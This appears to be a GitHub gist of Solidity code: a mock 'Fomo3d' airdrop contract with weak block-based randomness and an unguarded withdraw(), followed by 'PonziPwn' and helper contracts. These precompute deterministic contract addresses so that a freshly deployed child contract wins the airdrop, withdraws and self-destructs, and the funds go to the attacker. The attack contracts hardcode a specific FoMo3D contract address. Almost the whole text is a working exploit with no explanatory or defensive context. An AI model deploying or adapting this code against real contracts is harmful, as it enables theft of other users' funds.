Skip to content

Instantly share code, notes, and snippets.

@jin10086
Created August 9, 2018 12:05
Show Gist options
  • Save jin10086/388b2e2b488ef83dba648940d199a40c to your computer and use it in GitHub Desktop.
Save jin10086/388b2e2b488ef83dba648940d199a40c to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=true&gist=
contract Fomo3d{
uint256 public airDropTracker_ = 10000000000 ;
uint256 public airDropPot_ = 10 ether;
mapping (address=>uint) public my;
event SendEth(uint256 value);
function ()payable public{
uint _seed;
_seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));
if((_seed - ((_seed / 1000) * 1000)) < airDropTracker_){
my[msg.sender] += 0.5 ether;
airDropPot_ -= 0.5 ether;
}
emit SendEth(msg.value);
}
constructor() public payable{
}
function withdraw () public {
//require(my[msg.sender] > 0);
//my[msg.sender] -= 0.5 ether;
msg.sender.send(0.5 ether);
}
function balance() view returns (uint256){
return address(this).balance;
}
}
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
interface SUNContractInterface {
function withdraw() external;
function balance() external returns(uint256);
function newContract(uint256) external returns(bool);
}
/*
* Contract addresses are deterministic.
* We find out how many deployments it'll take to get a winning contract address
* then deploy blank contracts until we get to the second last number of deployments to generate a successful address.
*/
//contract which will win the airdrop
contract AirDropWinner {
//point to Fomo3d Contract
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0x1526613135cbe54ee257c11dd17254328a774f4a);
constructor() public{
address(fomo3d).call.value(0.1 ether)();
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
contract sunContract{
address private admin;
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
event SendMyeth(uint256 e);
constructor() public{
admin = msg.sender;
}
function newContract (uint256 _nonce) onlyAdmin public returns(bool) {
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), byte(_nonce))));
address(_newSender).call.value(0.1 ether)();
new AirDropWinner();
return true;
}
}
contract PonziPwn {
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0x1526613135cbe54ee257c11dd17254328a774f4a);
address private admin;
mapping(address => uint) public contracts;
mapping(uint256 => address) public nums_contracts;
uint256 public nonce = 1;
event C(address contract_address);
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
constructor() public payable{
admin = msg.sender;
new1(10);
}
function new1(uint256 len) public onlyAdmin {
uint256 end = len+nonce;
while (nonce < end){
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), byte(nonce))));
new sunContract();
contracts[_newSender] = 1;
nums_contracts[nonce] = _newSender;
nonce += 1;
emit C(_newSender);
}
}
function t(uint256 i) public payable returns(bool){
address c = nums_contracts[i];
uint256 c_nonce = contracts[c];
SUNContractInterface sun = SUNContractInterface(c);
address(c).call.value(0.1 ether)();
return sun.newContract(c_nonce+1);
}
function run() public payable returns(bool){
//The address that a contract deployed by this contract will have
uint256 _tracker = fomo3d.airDropTracker_();
for (uint256 i = 1;i<nonce;i++) {
uint256 _seed;
address c = nums_contracts[i];
uint256 c_nonce = contracts[c];
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, c, byte(c_nonce+1))));
_seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
(block.number)
)));
if((_seed - ((_seed / 1000) * 1000)) < _tracker) {
SUNContractInterface sun = SUNContractInterface(c);
address(c).call.value(0.1 ether)();
sun.newContract(c_nonce);
return true;
}
}
return false;
}
//allows withdrawal of funds after selfdestructing of a child contract which return funds to this contract
function withdraw() public onlyAdmin() {
admin.transfer(address(this).balance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment